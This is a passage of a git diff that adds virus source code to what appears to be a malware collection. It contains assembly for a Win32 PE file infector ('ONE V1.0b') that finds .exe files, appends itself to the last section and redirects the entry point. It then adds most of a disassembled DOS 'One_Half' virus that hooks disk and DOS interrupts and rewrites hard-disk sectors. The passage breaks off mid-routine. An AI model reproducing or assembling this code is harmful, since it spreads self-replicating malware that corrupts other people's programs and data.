eax, [eax] ;EAX -> PE header + add eax, [ebp+MapBaseAddr] ;Add base of mapped object. + add eax, 18h ;EAX -> AFTER flags field. + xor edx, edx ;EDX = 0h + mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header. + add edx, eax + + lea eax, ObjectTable ;EAX -> new object table. + add eax, ebp ;Add delta offset. + + mov ecx, 240d ;Size of new object table. + call WriteMem ;Write it. + + ;Write new PE header to host. + mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object. + add edx, 3Ch ;Offset of -> to PE header. + mov edx, [edx] ;EDX -> PE header + add edx, [ebp+MapBaseAddr] ;Add base of mapped object. + + lea eax, PE_Header ;EAX = offset of new PE header. + add eax, ebp ;Plus delta offset. + + mov ecx, 54h ;Size of new PE header. + call WriteMem ;Write it. + + ret +InfectFile ENDP + +;**** WriteMem **** + +WriteMem PROC +WM_NextByte: + mov bl, [eax] ;Byte from virus. + mov [edx], bl ;Write to host. + dec ecx ;One less byte to write. + inc eax ;Next virus byte. + inc edx ;Next target byte. + cmp ecx, 0 ;Did we write the whole virus? + jne WM_NextByte ;Nope, do next byte. + ret +WriteMem ENDP + +;**** ReadInPEHeader **** + +ReadInPEHeader PROC + call SetNOAttribs ;Needed for OpenFile. + jc RIPH_Failed ;Couldnt remove attributes. + call OpenFile ;Open the file. + jc RIPH_Failed ;Couldnt open this file. + + ;Move file pointer to where the offset to PE should be. + push 0 ;FILE_BEGIN = 00000000h + push 0 ;High order 32 bits to move. + mov eax, 3Ch ;-> offset of PE header. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to fuck with. + call [ebp+lpfSetFilePointer] ;Set the file pointer. + + ;Read in offset of PE header in file. + push 0 + lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read. + push eax + push 4 ;# of bytes to read. + lea eax, [ebp+DataFromFile] ;Buffer for read. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to read from. + call [ebp+lpfReadFile] ;Read from file. + + ;Move the file pointer to the PE header. + push 0 ;FILE_BEGIN = 00000000h + push 0 ;High order 32 bits of move. + mov eax, [ebp+DataFromFile] ;Offset of PE header. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to fuck with. + call [ebp+lpfSetFilePointer] ;Set the file pointer. + + ;Read in the PE header. + push 0 + lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read. + push eax + push 54h ;# of bytes to read. + lea eax, [ebp+PE_Header] ;Buffer for read. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to read from. + call [ebp+lpfReadFile] ;Read from file. + + ;Do some checks. + mov eax, [ebp+FileBytesRead] ;# of bytes read. + cmp eax, 54h ;Did we read in enough? + jne RIPH_Failed ;Nope. + mov eax, [ebp+Reserved9] ;EAX = infection marker. + cmp eax, 0h ;Is it infected already? + jne RIPH_Failed ;Yes. + mov ax, word ptr [ebp+Sig_Bytes] ;PE signature. + cmp ax, 'EP' ;Is this a PE file? + jne RIPH_Failed ;Nope. + mov ax, [ebp+NumbOfObjects] ;Number of objects in file. + cmp ax, 6 ;Too many objects? + ja RIPH_Failed ;Yep + + ;Move file pointer to object table in file. + push 0 ;FILE_BEGIN = 00000000h + push 0 ;High order 32 bits of move. + xor eax, eax + mov ax, [ebp+NT_HDR_Size] ;NT header size. + add eax, [ebp+DataFromFile] ;Plus offset to PE header. + add eax, 18h ;AFTER flags field in header. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to fuck with. + call [ebp+lpfSetFilePointer] ;Set the file pointer. + + ;Read in object table. + push 0 + lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read. + push eax + push 240d ;# of bytes to read. + lea eax, [ebp+ObjectTable] ;Buffer for read. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to read from. + call [ebp+lpfReadFile] ;Read from file. + + ;Do some checks. + mov eax, [ebp+FileBytesRead] ;# of bytes read. + cmp eax, 240d ;Did we read enough? + jne RIPH_Failed ;Nope. + + ;Save Original entry point. + mov eax, [ebp+ImageBase] ;Files base address + add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA. + mov [ebp+OldEA], eax ;Save it. + + ;** Figure out sizes for object and size of file ** + + ;Get offset to DATA of the object we will infect. + xor eax, eax + mov ax, [ebp+NumbOfObjects] ;Number of objects. + dec eax ;We want last object. + mov ecx, 40 ;Each object 40 bytes + xor edx, edx + mul ecx ;#OfObj-1*40=last object. + lea esi, [ebp+ObjectTable] ;ESI -> object table. + add esi, eax ;ESI = ptr to last Object Entry. + + ;Set new physical size for object. + mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment. + mov eax, [esi+16d] ;Get physical size of object. + mov [ebp+OldPhysSize], eax ;Save it. + push eax ;Save for figuring new entry point. + add eax, v_size ;Size of virus. + call AlignFix ;Figure new size. + mov dword ptr [esi+16d], eax ;Set new physical size. + + ;Set new virtual size for object. + mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment. + push ecx ;Save for below. + mov eax, [esi+8] ;Get object virtual size. + add eax, v_size ;Add our virtual size. + call AlignFix ;Set on obj alignment. + mov dword ptr [esi+8], eax ;Set new virtual size. + + mov [esi+36d], 0C0000040h ; set object flags + + ;Set new image size. + pop ecx ;ECX = object alignment vlaue. + mov eax, v_size ;EAX = size of virus. + add eax, dword ptr [ebp+ImageSize] ;add to old image size + call AlignFix ;Figure new size. + mov [ebp+ImageSize], eax ;Set new ImageSize. + + ;Set new entrypoint. + pop eax ;EAX = physical size of infected object. + add eax, [esi+12d] ;Add objects RVA. + mov [ebp+EntryPointRVA], eax ;Set new entrypoint. + + ;** Figure new physical size for mapping. ** + + ;Get files size. + push 0 + push dword ptr [ebp+OpenFileHandle] ;Handle of file. + call [ebp+lpfGetFileSize] ;Get the files size in bytes. + mov [ebp+SizeOfHost], eax ;Save size. + mov [ebp+Reserved9], eax ;Mark as infected. + + ;Figure new size. + mov ebx, [esi+16d] ;Object physical size. + add ebx, [esi+20d] ;Add physical offset of object. + cmp ebx, eax ;Which is larger? + ja RIPH_NewSize ;File size should be larger. + + jmp RIPH_Done ;Return success. + +RIPH_NewSize: + mov ecx, [ebp+FileAlign] ;File align value + mov eax, ebx ;Size now. + call AlignFix ;Figure new size. + mov [ebp+SizeOfHost], eax ;Save new size. + jmp RIPH_Done + +RIPH_Failed: + xor ebx, ebx ;Mark failure. + +RIPH_Done: + call CloseFile ;Close the file. + call RestoreAttribs ;Restore its attributes. + ret +ReadInPEHeader ENDP + +;**** SetNOAttribs **** +;This function first saves a files attributes to OrigFileAttribs, +;then sets the files attributes to "normal" so that the file can +;be written to. On errors, the carry flag is set. + +SetNOAttribs PROC + ;Get the files attributes. + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push found files name. + call [ebp+lpfGetFileAttributesA] + mov [ebp+OrigFileAttribs], eax ;Save original file attribs. + + ;Set file attributes to none so we can write to it if needed. + mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs + push eax + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push files name to stack. + call [ebp+lpfSetFileAttributesA] ;Set the attributes. + ret +SetNOAttribs ENDP + +;**** MapFile **** +;This proc gets a files(file in FileFoundData) size, creates a mapped +;object of the size needed, then maps the file into the object created. +;Carry flag is set on errors. + +MapFile PROC + + ;Create File mapping object. + push 0 ;Dont need a name. + mov eax, [ebp+SizeOfHost] ;Size of object. + push eax + push 0 ;Not used. + push PAGE_READWRITE ;We need read+write access. + push 0 ;Default security. + push dword ptr [ebp+OpenFileHandle] ;OPEN file handle. + call [ebp+lpfCreateFileMappingA] ;Create the mapped object. + cmp eax, 0 ;Did we fail? + je OF_Failed ;Yep. + mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object. + + ;Map file into object. + push 0 ;Map WHOLE file. + ;Offsets are not needed cause we're gonna start mapping at the + ;beginning of the file. + push 0 ;Low order 32 bits of offset. + push 0 ;High order 32 bits of offset. + push FILE_MAP_WRITE ;We need Read+Write access. + push eax ;Handle of mapping object. + call [ebp+lpfMapViewOfFile] ;Map the file +;Dont ask me why, but this returns some fucked up handle +;to memory that doesnt appear to exist, and the file doesnt +;seem to be read into memory until this memory is actually +;accessed(which magically does NOT cause a page fault)! +;weird! (I could be wrong, maybe just my debugger...) + mov [ebp+MapBaseAddr], eax ;Save base Address. + cmp eax, 0 ;Did we fail? + jne MP_Success ;We succeeded + stc +MP_Success: + ret +MapFile ENDP + +;**** RestoreAttribs **** +;This proc restores the attributes of the file pointed to by +;FoundFileData. CarryFlag is NOT set on errors. + +RestoreAttribs PROC + ;Restore file attributes. + mov eax, [ebp+OrigFileAttribs] ;The files original attribs + push eax + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push found files name. + call [ebp+lpfSetFileAttributesA] ;Set the attributes. + ret +RestoreAttribs ENDP + +;**** OpenFile **** +;This proc just opens the file pointed to in FoundFileData. +;If successful, the OPEN files handle is put into OpenFileHandle. +;If errors happen, the carry flag is set. + +OpenFile PROC + ;Open the file. + push 0 + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push 0 + push 0 ;0=Request exclusive access + push GENERIC_READ + GENERIC_WRITE + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push files name on stack. + call [ebp+lpfCreateFileA] ;Open file. + cmp eax, 0FFFFFFFFh ;Did we fail? + je OF_Failed ;Jeah, we failed. (SETS CARRY) + mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file. + clc ;Clear carry flag (no errors) + ret +OF_Failed: + stc ;Set carry flag. + ret +OpenFile ENDP + +;**** CloseFile **** +;This proc just closes the file pointed to by OpenFileHandle. +;Carry flag is NOT set if errors occur.(what for?) + +CloseFile PROC + ;Close the file. + push dword ptr [ebp+OpenFileHandle] ;Handle of opened file. + call [ebp+lpfCloseHandle] ;Close it + ret +CloseFile ENDP + +;**** AlignFix **** + +AlignFix PROC + xor edx, edx + div ecx ;/alignment + inc eax ;next alignment + mul ecx ;*alignment + ret +AlignFix ENDP + +;**** ExtractAbsoluteAddress **** + +ExtractAbsoluteAddress PROC + pushad ;Save everything. + + mov ecx, [esi] ;Get string length. + add esi, 4 ;Point to string + rep cmpsb ;Check the string. + + popad ;Restore everything. + jne EAA_NotString ;This isn't the string - exit. + + xchg esi, eax ;ESI = dword for address. + + mov eax, [ebx+1Ch] ;RVA of Function Address array. + add eax, [ebp+UnnamedOffset] ;Plus unused function names. + add eax, [ebp+K32Base] ;Plus DLL load address. + add eax, ecx ;Plus array offset. + mov eax, [eax] ;Get the address. + add eax, [ebp+K32Base] ;Plus DLL load address. + + mov [esi], eax ;Save the address. + +EAA_NotString: + ret +ExtractAbsoluteAddress ENDP + +;**** MyGetProcAddress **** + +MyGetProcAddress PROC + push eax ;lpProcName. + mov eax, [ebp+ModHandle] ;< hModule. + push eax ;< + call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly. + + cmp eax, 0 ;EAX = 0? + jne MyGetProcDone ;Nope, success. + + stc ;Failure. + +MyGetProcDone: + ret +MyGetProcAddress ENDP + + +; ****** DATA ****** + +K32Base dd 0 ;Start of K32 in memory. +UnnamedOffset dd 0 +ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr. +lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress. + db "GetProcAddress",0 +FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files. +lpsExeFiles db '*.exe',0 +OldEA dd 0 ;Original Entry Point(NOT RVA) +OldPhysSize dd 0 ;Old physical size of last object. +FoundFileHandle dd 0 ;Spot for handle of found files. +OpenFileHandle dd 0 ;Spot for handle of open files. +MappedObjectHandle dd 0 ;Handle of mapped object. +OrigFileAttribs dd 0 ;Spot for file attributes. +DataFromFile dd 0 ;Data read from file. +FileBytesRead dd 0 ;Number of bytes read. +MapBaseAddr dd 0 ;Base address of mapped object. +SizeOfHost dd 0 ;Size needed for mapped object. + +PE_Header: ;Buffer for PE header. +Sig_Bytes: dd 0 +CPU_Type: dw 0 +NumbOfObjects dw 0 +TimeStamp dd 0 +Reserved1 dd 0 +Reserved2 dd 0 +NT_HDR_Size dw 0 +Flags dw 0 +Reserved3 dw 0 +LMajor db 0 +LMinor db 0 +Reserved4 dd 0 +Reserved5 dd 0 +Reserved6 dd 0 +EntryPointRVA dd 0 +Reserved7 dd 0 +Reserved8 dd 0 +ImageBase dd 0 +ObjectAlign dd 0 +FileAlign dd 0 +OS_Major dw 0 +OS_Minor dw 0 +UserMajor dw 0 +UserMinor dw 0 +SubSysMajor dw 0 +SubSysMinor dw 0 +Reserved9 dd 0 +ImageSize dd 0 ;54h bytes. + +ObjectTable: db 240d dup (0) ;Room for 6 object entries. + +ImportTable: ; :-) + db 'FindFirstFileA',0 +lpfFindFirstFileA dd 0 + db 'FindNextFileA',0 +lpfFindNextFileA dd 0 + db 'GetFileAttributesA',0 +lpfGetFileAttributesA dd 0 + db 'SetFileAttributesA',0 +lpfSetFileAttributesA dd 0 + db 'CreateFileA',0 +lpfCreateFileA dd 0 + db 'SetFilePointer',0 +lpfSetFilePointer dd 0 + db 'ReadFile',0 +lpfReadFile dd 0 + db 'GetFileSize',0 +lpfGetFileSize dd 0 + db 'CreateFileMappingA',0 +lpfCreateFileMappingA dd 0 + db 'MapViewOfFile',0 +lpfMapViewOfFile dd 0 + db 'UnmapViewOfFile',0 +lpfUnmapViewOfFile dd 0 + db 'CloseHandle',0 +lpfCloseHandle dd 0 + +lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-' + +v_end: + end v_start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.one_half.asm b/MSDOS/Virus.MSDOS.Unknown.one_half.asm new file mode 100644 index 00000000..8fefc866 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.one_half.asm @@ -0,0 +1,2163 @@ + +PAGE 59,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ ONE_HALF ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 19-Oct-94 ÛÛ +;ÛÛ Passes: 5 Analysis Options on: none ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +target EQU 'M5' ; Target assembler: MASM-5.1 + +;include srmacros.inc + + +; The following equates show data references outside the range of the program. + +data_1e equ 2Ch +data_2e equ 70h +data_3e equ 72h +data_4e equ 84h +data_6e equ 100h +data_7e equ 2A0h +data_8e equ 2A2h +data_9e equ 2A9h +data_10e equ 2ADh +data_11e equ 2B8h +main_ram_size_ equ 413h +timer_low_ equ 46Ch +data_12e equ 56Ah ;* +data_13e equ 600h ;* +data_14e equ 7BEh ;* +data_15e equ 7D1h ;* +data_16e equ 0BABh ;* +data_17e equ 0DD6h ;* +data_18e equ 0 ;* +data_19e equ 3 ;* +data_20e equ 0 +data_21e equ 1 +data_22e equ 3 +data_23e equ 10h +data_24e equ 12h +data_25e equ 16h +data_26e equ 1Ah +data_27e equ 22h +data_28e equ 24h +data_29e equ 26h +data_30e equ 2Ah +data_31e equ 34h +data_32e equ 3Ch +data_33e equ 3Eh +data_34e equ 40h +data_35e equ 4Ch +data_37e equ 70h +data_39e equ 86h +data_40e equ 0A4h +data_41e equ 0A6h +data_42e equ 0A8h +data_43e equ 0AAh +data_44e equ 0C6h +data_45e equ 0F8h +data_46e equ 0FFh +data_105e equ 0F35h ;* +data_107e equ 0F39h ;* +data_108e equ 0F55h ;* +data_109e equ 0F5Fh ;* +data_111e equ 0F63h ;* +data_112e equ 0F65h ;* +data_113e equ 0F67h ;* +data_114e equ 0FB4h ;* +data_115e equ 1007h ;* +data_116e equ 1701h ;* +data_117e equ 1B00h ;* +data_118e equ 4E01h ;* +data_119e equ 7C00h ;* +data_120e equ 0BC61h ;* +data_121e equ 0C400h ;* +data_122e equ 0DE8h +data_123e equ 0DEAh +data_124e equ 0 + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +one_half proc far + +start: + pop dx + add ds:data_46e[bx],bx + add [bx+si],al + add [bp+di+4Fh],al + dec bp + dec bp + inc cx + dec si + inc sp + add [di+5Ah],cl + mov [bx+si],ax + adc al,[bx+si] + add [bx+si],al + add al,[bx+si] + jnz loc_4 ; Jump if not zero + db 0FFh,0FFh, 76h +loc_4: + add si,ax + add al,[bx+di] + add [bx+si],al + add [bx+si],cl + add bl,ds:data_121e + add bp,ss:data_118e[bp+di] + add al,2Fh ; '/' + add ss:data_117e[bp+si],bl + add cl,ds:data_116e[bx] + add si,si + add cl,dl + add ss:data_115e[bp+si],si + jmp short $-42h + ;* No entry point to code + call sub_2 + mov cx,1004h + jnc $+5Ah ; Jump if carry=0 + pop bx + pop cx + pop dx + dec cx + test al,1Dh + mov cx,698Eh + clc ; Clear carry flag + push cx +loc_6: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov cx,es + add cx,ax + push es + inc sp + lds dx,dword ptr [bx+si] ; Load 32 bit ptr + or [bx+si],al +loc_7: + db 60h, 5Ch,0BAh, 0Fh,0F4h,0FFh + db 3Fh,0EAh, 2Eh, 03h, 01h, 9Ch + db 2Eh, 0Bh, 07h, 91h + +locloop_8: + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + sub si,4 + loop locloop_8 ; Loop if cx > 0 + + or word ptr [bp+di],0FFDBh + jnz loc_6 ; Jump if not zero + cld ; Clear direction + push es +loc_10: + pop ds + lea si,[di+2] ; Load effective addr +;* jz loc_9 ;*Jump if zero + db 74h,0F4h ; Fixup - byte match + jc loc_10 ; Jump if carry Set + add bp,bp + dec dx + jz loc_7 ; Jump if zero +;* jc loc_5 ;*Jump if carry Set + db 72h, 95h ; Fixup - byte match + mov dl,10h + jmp short loc_11 + ;* No entry point to code + lodsw ; String [si] to ax + xchg bp,ax + mov dl,10h +;* jmp short loc_13 ;* + db 0EBh, 75h ; Fixup - byte match + ;* No entry point to code + add al,0F3h + stosw ; Store ax to es:[di] +;* jmp short loc_12 ;* + db 0EBh, 2Ah ; Fixup - byte match + ;* No entry point to code + stosb ; Store al to es:[di] + xchg al,ah + dec cx + adc [bx+si],al + +one_half endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + push ds + add [bx+si],al + add dh,[bp+di] + db 0DBh,0FAh,0BCh, 00h, 7Ch, 8Eh + db 0D3h,0FBh, 8Eh,0DBh, 83h, 2Eh + db 13h, 04h, 04h +loc_11: + mov cl,6 + int 12h ; Put (memory size)/1K in ax + shl ax,cl ; Shift w/zeros fill + mov dx,80h + mov es,ax + mov cx,0Bh + mov ax,207h + push es + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + mov ax,0D3h + push ax + retf +sub_2 endp + + ;* No entry point to code + mov ds:data_39e,cs + mov ax,word ptr ds:[46Ch] + push ds + push cs + pop ds + mov word ptr ds:[56Ah],ax + mov ax,cs + inc ax + mov ds:data_21e,ax + mov byte ptr ds:[0CEBh],0 + call sub_3 + pop es + mov bx,sp + push es + mov si,es:[bx+29h] +;* cmp si,7 + db 81h,0FEh, 07h, 00h ; Fixup - byte match + jbe loc_19 ; Jump if below or = + push si + sub si,2 + mov word ptr ds:[140h],si + pop si + mov ah,8 + int 13h ; Disk dl=drive a ah=func 08h + ; get drive parameters, bl=type + ; cx=cylinders, dh=max heads + ; es:di= ptr to drive table + jc loc_19 ; Jump if carry Set + mov al,cl + and al,3Fh ; '?' + mov byte ptr ds:[0E2Dh],al + mov cl,1 + mov bh,7Eh ; '~' + mov word ptr ds:[0E2Fh],bx + mov dl,80h +loc_14: + dec si + call sub_4 + push dx +loc_15: + mov ah,2 + push ax + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop ax + jc loc_16 ; Jump if carry Set + call $+0D00h + inc ah + push ax + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop ax +loc_16: + jc loc_21 ; Jump if carry Set + test dh,3Fh ; '?' + jz loc_17 ; Jump if zero + dec dh + jmp short loc_15 +loc_17: + pop dx + cmp si,3A7h + ja loc_14 ; Jump if above +loc_18: + mov bh,7Ch ; '|' + mov es:[bx+29h],si + mov ax,301h + mov cx,1 + mov dh,ch + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head +loc_19: + mov word ptr ds:[0EEEh],si + cmp si,19Ch + ja loc_20 ; Jump if above + call sub_5 +loc_20: + mov ax,201h + mov bx,data_119e + mov cx,ds:data_44e + dec cx + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + cli ; Disable interrupts + les ax,dword ptr es:data_35e ; Load 32 bit ptr + mov ds:data_105e,ax + mov word ptr ds:data_105e+2,es + pop es + push es + les ax,dword ptr es:data_37e ; Load 32 bit ptr + mov word ptr ds:[205h],ax + mov word ptr ds:[207h],es + pop es + push es + mov word ptr es:data_35e,0E45h + mov word ptr es:data_35e+2,cs + mov word ptr es:data_37e,1D1h + mov word ptr es:data_37e+2,cs + sti ; Enable interrupts + push bx + retf ; Return far +loc_21: + xor ah,ah ; Zero register + push ax + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + pop ax +loc_22: + inc dh + mov ah,dh + pop dx + push dx + cmp ah,dh + ja loc_23 ; Jump if above + mov dh,ah + mov ah,2 + push ax + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop ax + call $+0C68h + inc ah + push ax + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop ax + jmp short loc_22 +loc_23: + pop dx + inc si + jmp loc_18 + ;* No entry point to code + push ax + push ds + push es + xor ax,ax ; Zero register + mov ds,ax + les ax,dword ptr ds:data_4e ; Load 32 bit ptr + mov word ptr cs:[0DE8h],ax + mov ax,es + cmp ax,800h + ja loc_24 ; Jump if above + mov word ptr cs:[0DEAh],ax + les ax,dword ptr cs:[205h] ; Load 32 bit ptr + mov ds:data_2e,ax + mov ds:data_3e,es + mov word ptr ds:data_4e,0C5Dh + mov word ptr ds:data_4e+2,cs +loc_24: + pop es + pop ds + pop ax +;* jmp far ptr loc_158 ;* + db 0EAh + dw 0FF53h, 0F000h ; Fixup - byte match + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near + mov si,772h + mov di,0DD8h + mov cx,15Dh + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_3 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_4 proc near + push ax + mov ax,si + mov ch,al + push cx + mov cl,4 + shl ah,cl ; Shift w/zeros fill + pop cx + mov al,3Fh ; '?' + and dh,al + and cl,al + not al + push ax + and ah,al + or dh,ah + pop ax + shl ah,1 ; Shift w/zeros fill + shl ah,1 ; Shift w/zeros fill + and ah,al + or cl,ah + pop ax + retn +sub_4 endp + + db 'Dis is one half.', 0Dh, 0Ah, 'Pr' + db 'ess any key to continue ...', 0Dh + db 0Ah + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; get date cx=year, dx=mon/day + jc loc_ret_26 ; Jump if carry Set + test dl,3 + jnz loc_ret_26 ; Jump if not zero + test word ptr ds:[0DD6h],1 + jnz loc_ret_26 ; Jump if not zero + mov cx,31h + mov si,239h + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bl,7 + mov ah,0Eh + +locloop_25: + lodsb ; String [si] to al + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + loop locloop_25 ; Loop if cx > 0 + + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + +loc_ret_26: + retn +sub_5 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near + push bx + mov bx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + pop bx + retn +sub_6 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_7 proc near + pushf ; Push flags + cli ; Disable interrupts +;* call far ptr sub_1 ;* + db 9Ah + dw 774h, 70h ; Fixup - byte match + retn +sub_7 endp + + ;* No entry point to code + push bp + mov bp,sp + jmp short loc_27 + ;* No entry point to code + cmp word ptr [bp+4],253h + ja loc_28 ; Jump if above + push ax + push bx + push ds + lds ax,dword ptr [bp+2] ; Load 32 bit ptr + mov bx,469h + mov word ptr cs:[2A0h][bx],ax + mov word ptr cs:[2A2h][bx],ds + mov byte ptr cs:[2A9h][bx],23h ; '#' + pop ds + pop bx + pop ax +loc_27: + and byte ptr [bp+7],0FEh +loc_28: + pop bp + iret ; Interrupt return +loc_29: + pop bx + pop ax + push ax + dec ax + mov ds,ax + cmp byte ptr ds:data_124e,5Ah ; 'Z' + jne loc_31 ; Jump if not equal + add ax,ds:data_22e + sub ax,0FFh + mov dx,cs + mov si,bx + mov cl,4 + shr si,cl ; Shift w/zeros fill + add dx,si + mov si,cs:data_26e[bx] + cmp si,106h + jae loc_30 ; Jump if above or = + mov si,106h +loc_30: + add dx,si + cmp ax,dx + jb loc_31 ; Jump if below + mov byte ptr ds:data_20e,4Dh ; 'M' + sub word ptr ds:data_22e,100h + mov ds:data_24e,ax + mov es,ax + push cs + pop ds + inc ax + mov ds:data_21e,ax + mov byte ptr ds:[0BABh][bx],0EBh + mov si,bx + xor di,di ; Zero register + mov cx,0DD8h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + call sub_3 + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ax,ds:data_4e + mov es:data_122e,ax + mov ax,word ptr ds:data_4e+2 + mov es:data_123e,ax + mov word ptr ds:data_4e,0C5Dh + mov word ptr ds:data_4e+2,es + sti ; Enable interrupts +loc_31: + jmp loc_39 + db 0E8h, 00h, 00h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_8 proc near + pop si + sub si,352h + mov 